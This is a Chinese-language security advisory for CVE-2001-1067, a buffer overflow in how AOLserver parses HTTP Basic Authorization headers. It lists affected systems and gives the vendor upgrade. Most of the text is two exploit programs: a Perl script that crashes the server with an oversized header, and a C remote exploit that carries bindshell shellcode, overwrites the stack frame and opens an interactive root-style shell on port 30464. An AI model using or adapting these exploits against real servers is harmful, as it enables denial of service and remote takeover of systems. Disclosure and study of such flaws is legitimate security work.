具体请点击：http://www.verydemo.com/demo_c170_i15787.html
受影响系统：
AOL AOLserver 3.0
- Apple MacOS 10.0.4
- Apple MacOS 10.0.3
- Apple MacOS 10.0.2
- Apple MacOS 10.0.1
- Apple MacOS 10.0
- Caldera Open Linux Workstation 3.1
- Caldera Open Linux Server 3.1
- Caldera SCO UnixWare 7.0
- Debian Linux 2.2
- FreeBSD 3.3
- HP HP-UX 11.0
- HP HP-UX 10.20
AOL AOLserver 3.2 Unix
- HP HP-UX 11.0
- RedHat Linux 6.2
- SGI IRIX 6.4
- Sun Solaris 7.0
- Sun Solaris 2.6
不受影响系统：
AOL AOLserver 3.4
AOL AOLserver 3.3.1
描述：
BUGTRAQ ID: 3230
CVE(CAN) ID: CVE-2001-1067
AOLServer是美国在线的开放源码的，免费的HTTP服务器，由美国在线和开放源码组织维护。它提供TCL解释支持、多线程、动态网页，可用于大容量和动态的网站。
AOLServer处理口令字串存在缓冲区溢出漏洞，远程攻击者可以利用这个漏洞进行拒绝服务攻击。
当远程攻击者给AOLServer发送的口令超过2048字节将会引起缓冲溢出，会覆盖堆栈变量和返回地址，使AOLServer崩溃。远程攻击者甚至可能以AOLServer进程的权限执行任意代码，获得本地访问权限。
<*来源：Nate Haggard （[email protected]）
链接：http://online.securityfocus.com/archive/1/209681
http://online.securityfocus.com/archive/1/209770
http://online.securityfocus.com/archive/1/213041
http://online.securityfocus.com/archive/1/209769
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Nate Haggard （[email protected]）提供了如下测试方法：
#!/usr/bin/perl
## Nate Haggard <[email protected]>
## AOLserver 3.0 vulnerability
## August 22, 2001
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)",
);
unless ($remote) { die "cannot connect to http daemon on $host\n" }
$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;
qitest1（[email protected]） 提供了如下测试程序：
/*
* AOLserver version 3.2 and prior Linux x86 remote exploit
* by qitest1 - Wed Sep 5 17:20:10 CEST 2001
*
* Proof of concept code for exploiting the bof in ParseAuth(). I
* used this vuln as a playground for some tests, all done on a RH6.2
* box. The fp will be overwritten by a pointer to a fake frame, with
* an fp and an eip pointing to the shellcode. Very unstable, segfault
* in most cases.
*
* Greets: grazer and the other hot guys on #!digit-labs
* teleh0r: come back home fratello! =)
*
* ..harder times for 0x69, now at http://digit-labs.org/qitest1..
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#define EIP_POS 260
#define SC_ADDR 0xbf1ff9a8
#define FP 0xbf1ff9a0
#define FAKE_FP 0xbf1ffaf4
char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
int sockami(char *host, int port);
void shellami(int sock);
void zbuffami(u_long fp, u_long sc_addr, char *zbuf);
int Ns_HtuuEncode(unsigned char *bufin,
unsigned int nbytes,
char * bufcoded);
int
main(int argc, char **argv)
{
int sock;
char zbuf[1024], ubuf[1024], sbuf[1024];
printf("\n AOLserver version 3.3 and prior exploit by qitest1\n\n");
if(argc == 1)
{
fprintf(stderr, "Usage: %s <target>\n", argv[0]);
exit(1);
}
printf("+Connecting to %s...\n", argv[1]);
sock = sockami(argv[1], 80);
printf(" connected\n");
printf("+Building buffer with shellcode len: %d...\n",
strlen(shellcode));
memset(zbuf, 0x00, sizeof(zbuf));
....................................................................
printf(" done\n");
printf("+Encoding buffer...\n");
memset(ubuf, 0x00, sizeof(ubuf));
Ns_HtuuEncode(zbuf, strlen(zbuf), ubuf);
printf(" done\n");
printf("+Making http request...\n");
sprintf(sbuf,
"GET / HTTP/1.0\nAuthorization: Basic %s\r\n\r\n", ubuf);
send(sock, sbuf, strlen(sbuf), 0);
printf(" done\n");
printf("+Waiting for the shellcode to be executed...\n 0x69\n");
sleep(2);
sock = sockami(argv[1], 30464);
shellami(sock);
}
int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(port);
if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
{
perror("connect()");
exit(-1);
}
return(sock);
}
void
shellami(int sock)
{
int n;
char recvbuf[1024], *cmd = "id; uname -a\n";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(sock+1, &rset, NULL, NULL, NULL);
if(FD_ISSET(sock, &rset))
{
n = read(sock, recvbuf, 1024);
if (n <= 0)
{
printf("Connection closed by foreign host.\n");
exit(0);
}
recvbuf[n] = 0;
printf("%s", recvbuf);
}
if (FD_ISSET(STDIN_FILENO, &rset))
{
n = read(STDIN_FILENO, recvbuf, 1024);
if (n > 0)
{
recvbuf[n] = 0;
write(sock, recvbuf, n);
}
}
}
return;
}
void
zbuffami(u_long fp, u_long sc_addr, char *zbuf)
{
int i, n = 0;
for(i = 0; i < EIP_POS; i++)
zbuf[i] = 0x90;
/* Fake frame...
*/
zbuf[0] = (u_char) (FAKE_FP & 0x000000ff);
zbuf[1] = (u_char)((FAKE_FP & 0x0000ff00) >> 8);
zbuf[2] = (u_char)((FAKE_FP & 0x00ff0000) >> 16);
zbuf[3] = (u_char)((FAKE_FP & 0xff000000) >> 24);
zbuf[4] = (u_char) (sc_addr & 0x000000ff);
zbuf[5] = (u_char)((sc_addr & 0x0000ff00) >> 8);
zbuf[6] = (u_char)((sc_addr & 0x00ff0000) >> 16);
zbuf[7] = (u_char)((sc_addr & 0xff000000) >> 24);
for(i = EIP_POS - 4 - strlen(shellcode) - 8; i < EIP_POS - 4 - 8; i++)
zbuf[i] = shellcode[n++];
/* Padding...
*/
for(n = 0; n < 8 ; n++)
zbuf[i++] = 0x69;
zbuf[EIP_POS - 4] = (u_char) (fp & 0x000000ff);
zbuf[EIP_POS - 3] = (u_char)((fp & 0x0000ff00) >> 8);
zbuf[EIP_POS - 2] = (u_char)((fp & 0x00ff0000) >> 16);
zbuf[EIP_POS - 1] = (u_char)((fp & 0xff000000) >> 24);
zbuf[EIP_POS] = 0x00;
/* Extra junk
*/
for(i = 0; i < 4; i++)
strcat(zbuf, "\x69\x69\x69\x69");
return;
}
static char six2pr[64] =
{
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'
};
static unsigned char pr2six[256];
/* qitest1 and the pleasure of reading... ;pP
* This routine converts a buffer of bytes to/from RFC 1113
* printable encoding format.
* This technique is similar to the familiar Unix uuencode format
* in that it maps 6 binary bits to one ASCII character (or more
* aptly, 3 binary bytes to 4 ASCII characters). However, RFC 1113
* does not use the same mapping to printable characters as uuencode.
*
* Mark Riordan 12 August 1990 and 17 Feb 1991.
* This code is hereby placed in the public domain.
*
* Encode a single line of binary data to a standard format that
* uses only printing ASCII characters (but takes up 33% more bytes).
*/
int
Ns_HtuuEncode(unsigned char *bufin, unsigned int nbytes, char * bufcoded)
{
#define ENC(c) six2pr[c]
register char *outptr = bufcoded;
unsigned int i;
for (i = 0; i < nbytes; i += 3) {
/* c1 */
*(outptr++) = ENC(*bufin >> 2);
/* c2 */
*(outptr++) = ENC(((*bufin << 4) & 060) | ((bufin[1] >> 4) & 017));
/* c3 */
*(outptr++) = ENC(((bufin[1] << 2) & 074) | ((bufin[2] >> 6) & 03));
/* c4 */
*(outptr++) = ENC(bufin[2] & 077);
bufin += 3;
}
/*
* If nbytes was not a multiple of 3, then we have encoded too many
* characters. Adjust appropriately.
*/
if (i == nbytes + 1) {
/* There were only 2 bytes in that last group */
outptr[-1] = '=';
} else if (i == nbytes + 2) {
/* There was only 1 byte in that last group */
outptr[-1] = '=';
outptr[-2] = '=';
}
*outptr = '\0';
return (outptr - bufcoded);
}
建议：
厂商补丁：
AOL
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
AOL AOLserver 3.0:
AOL Upgrade AOLServer 3.4
http://aolserver.com/archive/server/aolserver-3.4.tar.gz
AOL AOLserver 3.2 UNIX:
AOL Upgrade AOLServer 3.4
http://aolserver.com/archive/server/aolserver-3.4.tar.gz